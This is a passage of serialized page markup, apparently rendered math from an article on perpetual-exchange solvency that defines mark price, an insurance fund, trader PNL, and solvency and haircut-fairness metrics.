value":2069},{"type":23,"tag":139,"props":161250,"children":161252},{"className":161251,"style":2090},[2089],[],{"type":23,"tag":139,"props":161254,"children":161256},{"className":161255,"style":92971},[2009,19596],[161257],{"type":28,"value":93005},{"type":23,"tag":139,"props":161259,"children":161261},{"className":161260,"style":2090},[2089],[],{"type":23,"tag":139,"props":161263,"children":161265},{"className":161264},[2095],[161266],{"type":28,"value":2069},{"type":23,"tag":139,"props":161268,"children":161270},{"className":161269,"style":2090},[2089],[],{"type":23,"tag":139,"props":161272,"children":161274},{"className":161273},[2009],[161275,161280],{"type":23,"tag":139,"props":161276,"children":161278},{"className":161277,"style":91185},[2009,19596],[161279],{"type":28,"value":91188},{"type":23,"tag":139,"props":161281,"children":161283},{"className":161282},[2025],[161284],{"type":23,"tag":139,"props":161285,"children":161287},{"className":161286},[2030,19650],[161288,161317],{"type":23,"tag":139,"props":161289,"children":161291},{"className":161290},[2035],[161292,161312],{"type":23,"tag":139,"props":161293,"children":161295},{"className":161294,"style":140506},[2040],[161296],{"type":23,"tag":139,"props":161297,"children":161298},{"style":108380},[161299,161303],{"type":23,"tag":139,"props":161300,"children":161302},{"className":161301,"style":2050},[2049],[],{"type":23,"tag":139,"props":161304,"children":161306},{"className":161305},[2055,2056,2057,2058],[161307],{"type":23,"tag":139,"props":161308,"children":161310},{"className":161309,"style":19597},[2009,19596,2058],[161311],{"type":28,"value":3990},{"type":23,"tag":139,"props":161313,"children":161315},{"className":161314},[19753],[161316],{"type":28,"value":19756},{"type":23,"tag":139,"props":161318,"children":161320},{"className":161319},[2035],[161321],{"type":23,"tag":139,"props":161322,"children":161324},{"className":161323,"style":91034},[2040],[161325],{"type":23,"tag":139,"props":161326,"children":161327},{},[],{"type":23,"tag":139,"props":161329,"children":161331},{"className":161330},[2121],[161332],{"type":28,"value":2124},{"type":23,"tag":139,"props":161334,"children":161336},{"className":161335,"style":2128},[2089],[],{"type":23,"tag":139,"props":161338,"children":161340},{"className":161339,"style":2128},[2089],[],{"type":23,"tag":139,"props":161342,"children":161344},{"className":161343},[2009],[161345],{"type":28,"value":2021},{"type":23,"tag":139,"props":161347,"children":161349},{"className":161348},[19747],[161350],{"type":28,"value":1104},{"type":23,"tag":139,"props":161352,"children":161354},{"className":161353},[19753],[161355],{"type":28,"value":19756},{"type":23,"tag":139,"props":161357,"children":161359},{"className":161358},[2035],[161360],{"type":23,"tag":139,"props":161361,"children":161363},{"className":161362,"style":159641},[2040],[161364],{"type":23,"tag":139,"props":161365,"children":161366},{},[],{"type":23,"tag":24,"props":161368,"children":161369},{},[161370,161371,161448,161450,161475,161477,161554,161556,161633],{"type":28,"value":262},{"type":23,"tag":135,"props":161372,"children":161374},{"className":161373},[1981,1982],[161375],{"type":23,"tag":139,"props":161376,"children":161378},{"className":161377},[1987],[161379],{"type":23,"tag":139,"props":161380,"children":161382},{"className":161381,"ariaHidden":1993},[1992],[161383],{"type":23,"tag":139,"props":161384,"children":161386},{"className":161385},[1998],[161387,161391],{"type":23,"tag":139,"props":161388,"children":161390},{"className":161389,"style":108948},[2003],[],{"type":23,"tag":139,"props":161392,"children":161394},{"className":161393},[2009],[161395,161400],{"type":23,"tag":139,"props":161396,"children":161398},{"className":161397,"style":19597},[2009,19596],[161399],{"type":28,"value":19600},{"type":23,"tag":139,"props":161401,"children":161403},{"className":161402},[2025],[161404],{"type":23,"tag":139,"props":161405,"children":161407},{"className":161406},[2030,19650],[161408,161437],{"type":23,"tag":139,"props":161409,"children":161411},{"className":161410},[2035],[161412,161432],{"type":23,"tag":139,"props":161413,"children":161415},{"className":161414,"style":107383},[2040],[161416],{"type":23,"tag":139,"props":161417,"children":161418},{"style":158884},[161419,161423],{"type":23,"tag":139,"props":161420,"children":161422},{"className":161421,"style":2050},[2049],[],{"type":23,"tag":139,"props":161424,"children":161426},{"className":161425},[2055,2056,2057,2058],[161427],{"type":23,"tag":139,"props":161428,"children":161430},{"className":161429},[2009,19596,2058],[161431],{"type":28,"value":54302},{"type":23,"tag":139,"props":161433,"children":161435},{"className":161434},[19753],[161436],{"type":28,"value":19756},{"type":23,"tag":139,"props":161438,"children":161440},{"className":161439},[2035],[161441],{"type":23,"tag":139,"props":161442,"children":161444},{"className":161443,"style":91034},[2040],[161445],{"type":23,"tag":139,"props":161446,"children":161447},{},[],{"type":28,"value":161449},": mark price from different sources; ",{"type":23,"tag":135,"props":161451,"children":161453},{"className":161452},[1981,1982],[161454],{"type":23,"tag":139,"props":161455,"children":161457},{"className":161456},[1987],[161458],{"type":23,"tag":139,"props":161459,"children":161461},{"className":161460,"ariaHidden":1993},[1992],[161462],{"type":23,"tag":139,"props":161463,"children":161465},{"className":161464},[1998],[161466,161470],{"type":23,"tag":139,"props":161467,"children":161469},{"className":161468,"style":19591},[2003],[],{"type":23,"tag":139,"props":161471,"children":161473},{"className":161472,"style":92971},[2009,19596],[161474],{"type":28,"value":93005},{"type":28,"value":161476},": insurance fund, roughly the 5M on testnet HL; ",{"type":23,"tag":135,"props":161478,"children":161480},{"className":161479},[1981,1982],[161481],{"type":23,"tag":139,"props":161482,"children":161484},{"className":161483},[1987],[161485],{"type":23,"tag":139,"props":161486,"children":161488},{"className":161487,"ariaHidden":1993},[1992],[161489],{"type":23,"tag":139,"props":161490,"children":161492},{"className":161491},[1998],[161493,161497],{"type":23,"tag":139,"props":161494,"children":161496},{"className":161495,"style":107921},[2003],[],{"type":23,"tag":139,"props":161498,"children":161500},{"className":161499},[2009],[161501,161506],{"type":23,"tag":139,"props":161502,"children":161504},{"className":161503,"style":91437},[2009,19596],[161505],{"type":28,"value":159022},{"type":23,"tag":139,"props":161507,"children":161509},{"className":161508},[2025],[161510],{"type":23,"tag":139,"props":161511,"children":161513},{"className":161512},[2030,19650],[161514,161543],{"type":23,"tag":139,"props":161515,"children":161517},{"className":161516},[2035],[161518,161538],{"type":23,"tag":139,"props":161519,"children":161521},{"className":161520,"style":91480},[2040],[161522],{"type":23,"tag":139,"props":161523,"children":161524},{"style":91484},[161525,161529],{"type":23,"tag":139,"props":161526,"children":161528},{"className":161527,"style":2050},[2049],[],{"type":23,"tag":139,"props":161530,"children":161532},{"className":161531},[2055,2056,2057,2058],[161533],{"type":23,"tag":139,"props":161534,"children":161536},{"className":161535},[2009,19596,2058],[161537],{"type":28,"value":1728},{"type":23,"tag":139,"props":161539,"children":161541},{"className":161540},[19753],[161542],{"type":28,"value":19756},{"type":23,"tag":139,"props":161544,"children":161546},{"className":161545},[2035],[161547],{"type":23,"tag":139,"props":161548,"children":161550},{"className":161549,"style":91034},[2040],[161551],{"type":23,"tag":139,"props":161552,"children":161553},{},[],{"type":28,"value":161555}," is PNL for longs, negated for shorts; ",{"type":23,"tag":135,"props":161557,"children":161559},{"className":161558},[1981,1982],[161560],{"type":23,"tag":139,"props":161561,"children":161563},{"className":161562},[1987],[161564],{"type":23,"tag":139,"props":161565,"children":161567},{"className":161566,"ariaHidden":1993},[1992],[161568],{"type":23,"tag":139,"props":161569,"children":161571},{"className":161570},[1998],[161572,161576],{"type":23,"tag":139,"props":161573,"children":161575},{"className":161574,"style":107921},[2003],[],{"type":23,"tag":139,"props":161577,"children":161579},{"className":161578},[2009],[161580,161585],{"type":23,"tag":139,"props":161581,"children":161583},{"className":161582,"style":120231},[2009,19596],[161584],{"type":28,"value":47469},{"type":23,"tag":139,"props":161586,"children":161588},{"className":161587},[2025],[161589],{"type":23,"tag":139,"props":161590,"children":161592},{"className":161591},[2030,19650],[161593,161622],{"type":23,"tag":139,"props":161594,"children":161596},{"className":161595},[2035],[161597,161617],{"type":23,"tag":139,"props":161598,"children":161600},{"className":161599,"style":91480},[2040],[161601],{"type":23,"tag":139,"props":161602,"children":161603},{"style":159179},[161604,161608],{"type":23,"tag":139,"props":161605,"children":161607},{"className":161606,"style":2050},[2049],[],{"type":23,"tag":139,"props":161609,"children":161611},{"className":161610},[2055,2056,2057,2058],[161612],{"type":23,"tag":139,"props":161613,"children":161615},{"className":161614},[2009,19596,2058],[161616],{"type":28,"value":1728},{"type":23,"tag":139,"props":161618,"children":161620},{"className":161619},[19753],[161621],{"type":28,"value":19756},{"type":23,"tag":139,"props":161623,"children":161625},{"className":161624},[2035],[161626],{"type":23,"tag":139,"props":161627,"children":161629},{"className":161628,"style":91034},[2040],[161630],{"type":23,"tag":139,"props":161631,"children":161632},{},[],{"type":28,"value":161634}," is the positive part of PNL.)",{"type":23,"tag":24,"props":161636,"children":161637},{},[161638],{"type":28,"value":161639},"And let's make the trilemma definitions concrete:",{"type":23,"tag":14699,"props":161641,"children":161642},{},[161643,162117,162681],{"type":23,"tag":801,"props":161644,"children":161645},{},[161646,161650,161651,161905,161907,161958,161960,162063,162064,162115],{"type":23,"tag":659,"props":161647,"children":161648},{},[161649],{"type":28,"value":158763},{"type":28,"value":30799},{"type":23,"tag":135,"props":161652,"children":161654},{"className":161653},[1981,1982],[161655],{"type":23,"tag":139,"props":161656,"children":161658},{"className":161657},[1987],[161659],{"type":23,"tag":139,"props":161660,"children":161662},{"className":161661,"ariaHidden":1993},[1992],[161663,161690],{"type":23,"tag":139,"props":161664,"children":161666},{"className":161665},[1998],[161667,161672,161677,161681,161686],{"type":23,"tag":139,"props":161668,"children":161671},{"className":161669,"style":161670},[2003],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":23,"tag":139,"props":161673,"children":161675},{"className":161674},[2009],[161676],{"type":28,"value":647},{"type":23,"tag":139,"props":161678,"children":161680},{"className":161679,"style":2090},[2089],[],{"type":23,"tag":139,"props":161682,"children":161684},{"className":161683},[2095],[161685],{"type":28,"value":2069},{"type":23,"tag":139,"props":161687,"children":161689},{"className":161688,"style":2090},[2089],[],{"type":23,"tag":139,"props":161691,"children":161693},{"className":161692},[1998],[161694,161699],{"type":23,"tag":139,"props":161695,"children":161698},{"className":161696,"style":161697},[2003],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":23,"tag":139,"props":161700,"children":161702},{"className":161701},[2009],[161703,161707,161901],{"type":23,"tag":139,"props":161704,"children":161706},{"className":161705},[19725,111469],[],{"type":23,"tag":139,"props":161708,"children":161710},{"className":161709},[111474],[161711],{"type":23,"tag":139,"props":161712,"children":161714},{"className":161713},[2030,19650],[161715,161889],{"type":23,"tag":139,"props":161716,"children":161718},{"className":161717},[2035],[161719,161884],{"type":23,"tag":139,"props":161720,"children":161723},{"className":161721,"style":161722},[2040],"height:0.8884em;",[161724,161798,161809],{"type":23,"tag":139,"props":161725,"children":161726},{"style":111491},[161727,161731],{"type":23,"tag":139,"props":161728,"children":161730},{"className":161729,"style":110122},[2049],[],{"type":23,"tag":139,"props":161732,"children":161734},{"className":161733},[2055,2056,2057,2058],[161735],{"type":23,"tag":139,"props":161736,"children":161738},{"className":161737},[2009,2058],[161739],{"type":23,"tag":139,"props":161740,"children":161742},{"className":161741},[2009,2058],[161743,161748],{"type":23,"tag":139,"props":161744,"children":161746},{"className":161745,"style":90951},[2009,19596,2058],[161747],{"type":28,"value":159438},{"type":23,"tag":139,"props":161749,"children":161751},{"className":161750},[2025],[161752],{"type":23,"tag":139,"props":161753,"children":161755},{"className":161754},[2030,19650],[161756,161786],{"type":23,"tag":139,"props":161757,"children":161759},{"className":161758},[2035],[161760,161781],{"type":23,"tag":139,"props":161761,"children":161763},{"className":161762,"style":110283},[2040],[161764],{"type":23,"tag":139,"props":161765,"children":161767},{"style":161766},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[161768,161772],{"type":23,"tag":139,"props":161769,"children":161771},{"className":161770,"style":106811},[2049],[],{"type":23,"tag":139,"props":161773,"children":161775},{"className":161774},[2055,106816,106817,2058],[161776],{"type":23,"tag":139,"props":161777,"children":161779},{"className":161778,"style":19597},[2009,19596,2058],[161780],{"type":28,"value":3990},{"type":23,"tag":139,"props":161782,"children":161784},{"className":161783},[19753],[161785],{"type":28,"value":19756},{"type":23,"tag":139,"props":161787,"children":161789},{"className":161788},[2035],[161790],{"type":23,"tag":139,"props":161791,"children":161794},{"className":161792,"style":161793},[2040],"height:0.1433em;",[161795],{"type":23,"tag":139,"props":161796,"children":161797},{},[],{"type":23,"tag":139,"props":161799,"children":161800},{"style":111524},[161801,161805],{"type":23,"tag":139,"props":161802,"children":161804},{"className":161803,"style":110122},[2049],[],{"type":23,"tag":139,"props":161806,"children":161808},{"className":161807,"style":111534},[111533],[],{"type":23,"tag":139,"props":161810,"children":161812},{"style":161811},"top:-3.4101em;",[161813,161817],{"type":23,"tag":139,"props":161814,"children":161816},{"className":161815,"style":110122},[2049],[],{"type":23,"tag":139,"props":161818,"children":161820},{"className":161819},[2055,2056,2057,2058],[161821],{"type":23,"tag":139,"props":161822,"children":161824},{"className":161823},[2009,2058],[161825],{"type":23,"tag":139,"props":161826,"children":161828},{"className":161827},[2009,2058],[161829,161834],{"type":23,"tag":139,"props":161830,"children":161832},{"className":161831,"style":120728},[2009,19596,2058],[161833],{"type":28,"value":120731},{"type":23,"tag":139,"props":161835,"children":161837},{"className":161836},[2025],[161838],{"type":23,"tag":139,"props":161839,"children":161841},{"className":161840},[2030,19650],[161842,161873],{"type":23,"tag":139,"props":161843,"children":161845},{"className":161844},[2035],[161846,161868],{"type":23,"tag":139,"props":161847,"children":161850},{"className":161848,"style":161849},[2040],"height:0.2963em;",[161851],{"type":23,"tag":139,"props":161852,"children":161854},{"style":161853},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[161855,161859],{"type":23,"tag":139,"props":161856,"children":161858},{"className":161857,"style":106811},[2049],[],{"type":23,"tag":139,"props":161860,"children":161862},{"className":161861},[2055,106816,106817,2058],[161863],{"type":23,"tag":139,"props":161864,"children":161866},{"className":161865},[2009,19596,2058],[161867],{"type":28,"value":19738},{"type":23,"tag":139,"props":161869,"children":161871},{"className":161870},[19753],[161872],{"type":28,"value":19756},{"type":23,"tag":139,"props":161874,"children":161876},{"className":161875},[2035],[161877],{"type":23,"tag":139,"props":161878,"children":161880},{"className":161879,"style":106836},[2040],[161881],{"type":23,"tag":139,"props":161882,"children":161883},{},[],{"type":23,"tag":139,"props":161885,"children":161887},{"className":161886},[19753],[161888],{"type":28,"value":19756},{"type":23,"tag":139,"props":161890,"children":161892},{"className":161891},[2035],[161893],{"type":23,"tag":139,"props":161894,"children":161897},{"className":161895,"style":161896},[2040],"height:0.4453em;",[161898],{"type":23,"tag":139,"props":161899,"children":161900},{},[],{"type":23,"tag":139,"props":161902,"children":161904},{"className":161903},[19747,111469],[],{"type":28,"value":161906}," — how much of the total bad debt was actually covered. ",{"type":23,"tag":135,"props":161908,"children":161910},{"className":161909},[1981,1982],[161911],{"type":23,"tag":139,"props":161912,"children":161914},{"className":161913},[1987],[161915],{"type":23,"tag":139,"props":161916,"children":161918},{"className":161917,"ariaHidden":1993},[1992],[161919,161945],{"type":23,"tag":139,"props":161920,"children":161922},{"className":161921},[1998],[161923,161927,161932,161936,161941],{"type":23,"tag":139,"props":161924,"children":161926},{"className":161925,"style":19591},[2003],[],{"type":23,"tag":139,"props":161928,"children":161930},{"className":161929,"style":20055},[2009,19596],[161931],{"type":28,"value":20058},{"type":23,"tag":139,"props":161933,"children":161935},{"className":161934,"style":2187},[2089],[],{"type":23,"tag":139,"props":161937,"children":161939},{"className":161938},[2192],[161940],{"type":28,"value":1067},{"type":23,"tag":139,"props":161942,"children":161944},{"className":161943,"style":2187},[2089],[],{"type":23,"tag":139,"props":161946,"children":161948},{"className":161947},[1998],[161949,161953],{"type":23,"tag":139,"props":161950,"children":161952},{"className":161951,"style":91982},[2003],[],{"type":23,"tag":139,"props":161954,"children":161956},{"className":161955},[2009],[161957],{"type":28,"value":647},{"type":28,"value":161959}," means fully solvent (",{"type":23,"tag":135,"props":161961,"children":161963},{"className":161962},[1981,1982],[161964],{"type":23,"tag":139,"props":161965,"children":161967},{"className":161966},[1987],[161968],{"type":23,"tag":139,"props":161969,"children":161971},{"className":161970,"ariaHidden":1993},[1992],[161972,162050],{"type":23,"tag":139,"props":161973,"children":161975},{"className":161974},[1998],[161976,161980,162037,162041,162046],{"type":23,"tag":139,"props":161977,"children":161979},{"className":161978,"style":108948},[2003],[],{"type":23,"tag":139,"props":161981,"children":161983},{"className":161982},[2009],[161984,161989],{"type":23,"tag":139,"props":161985,"children":161987},{"className":161986,"style":120728},[2009,19596],[161988],{"type":28,"value":120731},{"type":23,"tag":139,"props":161990,"children":161992},{"className":161991},[2025],[161993],{"type":23,"tag":139,"props":161994,"children":161996},{"className":161995},[2030,19650],[161997,162026],{"type":23,"tag":139,"props":161998,"children":162000},{"className":161999},[2035],[162001,162021],{"type":23,"tag":139,"props":162002,"children":162004},{"className":162003,"style":159594},[2040],[162005],{"type":23,"tag":139,"props":162006,"children":162007},{"style":159598},[162008,162012],{"type":23,"tag":139,"props":162009,"children":162011},{"className":162010,"style":2050},[2049],[],{"type":23,"tag":139,"props":162013,"children":162015},{"className":162014},[2055,2056,2057,2058],[162016],{"type":23,"tag":139,"props":162017,"children":162019},{"className":162018},[2009,19596,2058],[162020],{"type":28,"value":19738},{"type":23,"tag":139,"props":162022,"children":162024},{"className":162023},[19753],[162025],{"type":28,"value":19756},{"type":23,"tag":139,"props":162027,"children":162029},{"className":162028},[2035],[162030],{"type":23,"tag":139,"props":162031,"children":162033},{"className":162032,"style":91034},[2040],[162034],{"type":23,"tag":139,"props":162035,"children":162036},{},[],{"type":23,"tag":139,"props":162038,"children":162040},{"className":162039,"style":2187},[2089],[],{"type":23,"tag":139,"props":162042,"children":162044},{"className":162043},[2192],[162045],{"type":28,"value":1067},{"type":23,"tag":139,"props":162047,"children":162049},{"className":162048,"style":2187},[2089],[],{"type":23,"tag":139,"props":162051,"children":162053},{"className":162052},[1998],[162054,162058],{"type":23,"tag":139,"props":162055,"children":162057},{"className":162056,"style":91982},[2003],[],{"type":23,"tag":139,"props":162059,"children":162061},{"className":162060},[2009],[162062],{"type":28,"value":2021},{"type":28,"value":13189},{"type":23,"tag":135,"props":162065,"children":162067},{"className":162066},[1981,1982],[162068],{"type":23,"tag":139,"props":162069,"children":162071},{"className":162070},[1987],[162072],{"type":23,"tag":139,"props":162073,"children":162075},{"className":162074,"ariaHidden":1993},[1992],[162076,162102],{"type":23,"tag":139,"props":162077,"children":162079},{"className":162078},[1998],[162080,162084,162089,162093,162098],{"type":23,"tag":139,"props":162081,"children":162083},{"className":162082,"style":19591},[2003],[],{"type":23,"tag":139,"props":162085,"children":162087},{"className":162086,"style":20055},[2009,19596],[162088],{"type":28,"value":20058},{"type":23,"tag":139,"props":162090,"children":162092},{"className":162091,"style":2187},[2089],[],{"type":23,"tag":139,"props":162094,"children":162096},{"className":162095},[2192],[162097],{"type":28,"value":1067},{"type":23,"tag":139,"props":162099,"children":162101},{"className":162100,"style":2187},[2089],[],{"type":23,"tag":139,"props":162103,"children":162105},{"className":162104},[1998],[162106,162110],{"type":23,"tag":139,"props":162107,"children":162109},{"className":162108,"style":91982},[2003],[],{"type":23,"tag":139,"props":162111,"children":162113},{"className":162112},[2009],[162114],{"type":28,"value":2021},{"type":28,"value":162116}," means nothing was recovered.",{"type":23,"tag":801,"props":162118,"children":162119},{},[162120,162124,162125,162248,162249,162466,162468,162572,162574,162625,162627,162679],{"type":23,"tag":659,"props":162121,"children":162122},{},[162123],{"type":28,"value":158773},{"type":28,"value":30799},{"type":23,"tag":135,"props":162126,"children":162128},{"className":162127},[1981,1982],[162129],{"type":23,"tag":139,"props":162130,"children":162132},{"className":162131},[1987],[162133],{"type":23,"tag":139,"props":162134,"children":162136},{"className":162135,"ariaHidden":1993},[1992],[162137,162163],{"type":23,"tag":139,"props":162138,"children":162140},{"className":162139},[1998],[162141,162145,162150,162154,162159],{"type":23,"tag":139,"props":162142,"children":162144},{"className":162143,"style":161670},[2003],[],{"type":23,"tag":139,"props":162146,"children":162148},{"className":162147},[2009],[162149],{"type":28,"value":647},{"type":23,"tag":139,"props":162151,"children":162153},{"className":162152,"style":2090},[2089],[],{"type":23,"tag":139,"props":162155,"children":162157},{"className":162156},[2095],[162158],{"type":28,"value":2069},{"type":23,"tag":139,"props":162160,"children":162162},{"className":162161,"style":2090},[2089],[],{"type":23,"tag":139,"props":162164,"children":162166},{"className":162165},[1998],[162167,162171,162181,162186,162243],{"type":23,"tag":139,"props":162168,"children":162170},{"className":162169,"style":2110},[2003],[],{"type":23,"tag":139,"props":162172,"children":162174},{"className":162173},[2009,28],[162175],{"type":23,"tag":139,"props":162176,"children":162178},{"className":162177},[2009],[162179],{"type":28,"value":162180},"Gini",{"type":23,"tag":139,"props":162182,"children":162184},{"className":162183},[19725],[162185],{"type":28,"value":262},{"type":23,"tag":139,"props":162187,"children":162189},{"className":162188},[2009],[162190,162195],{"type":23,"tag":139,"props":162191,"children":162193},{"className":162192},[2009,19596],[162194],{"type":28,"value":82249},{"type":23,"tag":139,"props":162196,"children":162198},{"className":162197},[2025],[162199],{"type":23,"tag":139,"props":162200,"children":162202},{"className":162201},[2030,19650],[162203,162232],{"type":23,"tag":139,"props":162204,"children":162206},{"className":162205},[2035],[162207,162227],{"type":23,"tag":139,"props":162208,"children":162210},{"className":162209,"style":91480},[2040],[162211],{"type":23,"tag":139,"props":162212,"children":162213},{"style":91007},[162214,162218],{"type":23,"tag":139,"props":162215,"children":162217},{"className":162216,"style":2050},[2049],[],{"type":23,"tag":139,"props":162219,"children":162221},{"className":162220},[2055,2056,2057,2058],[162222],{"type":23,"tag":139,"props":162223,"children":162225},{"className":162224},[2009,19596,2058],[162226],{"type":28,"value":1728},{"type":23,"tag":139,"props":162228,"children":162230},{"className":162229},[19753],[162231],{"type":28,"value":19756},{"type":23,"tag":139,"props":162233,"children":162235},{"className":162234},[2035],[162236],{"type":23,"tag":139,"props":162237,"children":162239},{"className":162238,"style":91034},[2040],[162240],{"type":23,"tag":139,"props":162241,"children":162242},{},[],{"type":23,"tag":139,"props":162244,"children":162246},{"className":162245},[19747],[162247],{"type":28,"value":1104},{"type":28,"value":5325},{"type":23,"tag":135,"props":162250,"children":162252},{"className":162251},[1981,1982],[162253],{"type":23,"tag":139,"props":162254,"children":162256},{"className":162255},[1987],[162257],{"type":23,"tag":139,"props":162258,"children":162260},{"className":162259,"ariaHidden":1993},[1992],[162261,162339],{"type":23,"tag":139,"props":162262,"children":162264},{"className":162263},[1998],[162265,162269,162326,162330,162335],{"type":23,"tag":139,"props":162266,"children":162268},{"className":162267,"style":140230},[2003],[],{"type":23,"tag":139,"props":162270,"children":162272},{"className":162271},[2009],[162273,162278],{"type":23,"tag":139,"props":162274,"children":162276},{"className":162275},[2009,19596],[162277],{"type":28,"value":82249},{"type":23,"tag":139,"props":162279,"children":162281},{"className":162280},[2025],[162282],{"type":23,"tag":139,"props":162283,"children":162285},{"className":162284},[2030,19650],[162286,162315],{"type":23,"tag":139,"props":162287,"children":162289},{"className":162288},[2035],[162290,162310],{"type":23,"tag":139,"props":162291,"children":162293},{"className":162292,"style":91480},[2040],[162294],{"type":23,"tag":139,"props":162295,"children":162296},{"style":91007},[162297,162301],{"type":23,"tag":139,"props":162298,"children":162300},{"className":162299,"style":2050},[2049],[],{"type":23,"tag":139,"props":162302,"children":162304},{"className":162303},[2055,2056,2057,2058],[162305],{"type":23,"tag":139,"props":162306,"children":162308},{"className":162307},[2009,19596,2058],[162309],{"type":28,"value":1728},{"type":23,"tag":139,"props":162311,"children":162313},{"className":162312},[19753],[162314],{"type":28,"value":19756},{"type":23,"tag":139,"props":162316,"children":162318},{"className":162317},[2035],[162319],{"type":23,"tag":139,"props":162320,"children":162322},{"className":162321,"style":91034},[2040],[162323],{"type":23,"tag":139,"props":162324,"children":162325},{},[],{"type":23,"tag":139,"props":162327,"children":162329},{"className":162328,"style":2187},[2089],[],{"type":23,"tag":139,"props":162331,"children":162333},{"className":162332},[2192],[162334],{"type":28,"value":1067},{"type":23,"tag":139,"props":162336,"children":162338},{"className":162337,"style":2187},[2089],[],{"type":23,"tag":139,"props":162340,"children":162342},{"className":162341},[1998],[162343,162347,162404,162409],{"type":23,"tag":139,"props":162344,"children":162346},{"className":162345,"style":2110},[2003],[],{"type":23,"tag":139,"props":162348,"children":162350},{"className":162349},[2009],[162351,162356],{"type":23,"tag":139,"props":162352,"children":162354},{"className":162353},[2009,19596],[162355],{"type":28,"value":17284},{"type":23,"tag":139,"props":162357,"children":162359},{"className":162358},[2025],[162360],{"type":23,"tag":139,"props":162361,"children":162363},{"className":162362},[2030,19650],[162364,162393],{"type":23,"tag":139,"props":162365,"children":162367},{"className":162366},[2035],[162368,162388],{"type":23,"tag":139,"props":162369,"children":162371},{"className":162370,"style":91480},[2040],[162372],{"type":23,"tag":139,"props":162373,"children":162374},{"style":91007},[162375,162379],{"type":23,"tag":139,"props":162376,"children":162378},{"className":162377,"style":2050},[2049],[],{"type":23,"tag":139,"props":162380,"children":162382},{"className":162381},[2055,2056,2057,2058],[162383],{"type":23,"tag":139,"props":162384,"children":162386},{"className":162385},[2009,19596,2058],[162387],{"type":28,"value":1728},{"type":23,"tag":139,"props":162389,"children":162391},{"className":162390},[19753],[162392],{"type":28,"value":19756},{"type":23,"tag":139,"props":162394,"children":162396},{"className":162395},[2035],[162397],{"type":23,"tag":139,"props":162398,"children":162400},{"className":162399,"style":91034},[2040],[162401],{"type":23,"tag":139,"props":162402,"children":162403},{},[],{"type":23,"tag":139,"props":162405,"children":162407},{"className":162406},[2009],[162408],{"type":28,"value":2583},{"type":23,"tag":139,"props":162410,"children":162412},{"className":162411},[2009],[162413,162418],{"type":23,"tag":139,"props":162414,"children":162416},{"className":162415,"style":120231},[2009,19596],[162417],{"type":28,"value":47469},{"type":23,"tag":139,"props":162419,"children":162421},{"className":162420},[2025],[162422],{"type":23,"tag":139,"props":162423,"children":162425},{"className":162424},[2030,19650],[162426,162455],{"type":23,"tag":139,"props":162427,"children":162429},{"className":162428},[2035],[162430,162450],{"type":23,"tag":139,"props":162431,"children":162433},{"className":162432,"style":91480},[2040],[162434],{"type":23,"tag":139,"props":162435,"children":162436},{"style":159179},[162437,162441],{"type":23,"tag":139,"props":162438,"children":162440},{"className":162439,"style":2050},[2049],[],{"type":23,"tag":139,"props":162442,"children":162444},{"className":162443},[2055,2056,2057,2058],[162445],{"type":23,"tag":139,"props":162446,"children":162448},{"className":162447},[2009,19596,2058],[162449],{"type":28,"value":1728},{"type":23,"tag":139,"props":162451,"children":162453},{"className":162452},[19753],[162454],{"type":28,"value":19756},{"type":23,"tag":139,"props":162456,"children":162458},{"className":162457},[2035],[162459],{"type":23,"tag":139,"props":162460,"children":162462},{"className":162461,"style":91034},[2040],[162463],{"type":23,"tag":139,"props":162464,"children":162465},{},[],{"type":28,"value":162467}," for each winner with ",{"type":23,"tag":135,"props":162469,"children":162471},{"className":162470},[1981,1982],[162472],{"type":23,"tag":139,"props":162473,"children":162475},{"className":162474},[1987],[162476],{"type":23,"tag":139,"props":162477,"children":162479},{"className":162478,"ariaHidden":1993},[1992],[162480,162559],{"type":23,"tag":139,"props":162481,"children":162483},{"className":162482},[1998],[162484,162489,162546,162550,162555],{"type":23,"tag":139,"props":162485,"children":162488},{"className":162486,"style":162487},[2003],"height:0.6891em;vertical-align:-0.15em;",[],{"type":23,"tag":139,"props":162490,"children":162492},{"className":162491},[2009],[162493,162498],{"type":23,"tag":139,"props":162494,"children":162496},{"className":162495,"style":120231},[2009,19596],[162497],{"type":28,"value":47469},{"type":23,"tag":139,"props":162499,"children":162501},{"className":162500},[2025],[162502],{"type":23,"tag":139,"props":162503,"children":162505},{"className":162504},[2030,19650],[162506,162535],{"type":23,"tag":139,"props":162507,"children":162509},{"className":162508},[2035],[162510,162530],{"type":23,"tag":139,"props":162511,"children":162513},{"className":162512,"style":91480},[2040],[162514],{"type":23,"tag":139,"props":162515,"children":162516},{"style":159179},[162517,162521],{"type":23,"tag":139,"props":162518,"children":162520},{"className":162519,"style":2050},[2049],[],{"type":23,"tag":139,"props":162522,"children":162524},{"className":162523},[2055,2056,2057,2058],[162525],{"type":23,"tag":139,"props":162526,"children":162528},{"className":162527},[2009,19596,2058],[162529],{"type":28,"value":1728},{"type":23,"tag":139,"props":162531,"children":162533},{"className":162532},[19753],[162534],{"type":28,"value":19756},{"type":23,"tag":139,"props":162536,"children":162538},{"className":162537},[2035],[162539],{"type":23,"tag":139,"props":162540,"children":162542},{"className":162541,"style":91034},[2040],[162543],{"type":23,"tag":139,"props":162544,"children":162545},{},[],{"type":23,"tag":139,"props":162547,"children":162549},{"className":162548,"style":2187},[2089],[],{"type":23,"tag":139,"props":162551,"children":162553},{"className":162552},[2192],[162554],{"type":28,"value":8471},{"type":23,"tag":139,"props":162556,"children":162558},{"className":162557,"style":2187},[2089],[],{"type":23,"tag":139,"props":162560,"children":162562},{"className":162561},[1998],[162563,162567],{"type":23,"tag":139,"props":162564,"children":162566},{"className":162565,"style":91982},[2003],[],{"type":23,"tag":139,"props":162568,"children":162570},{"className":162569},[2009],[162571],{"type":28,"value":2021},{"type":28,"value":162573}," — how uniformly the haircut burden is distributed across profitable traders. 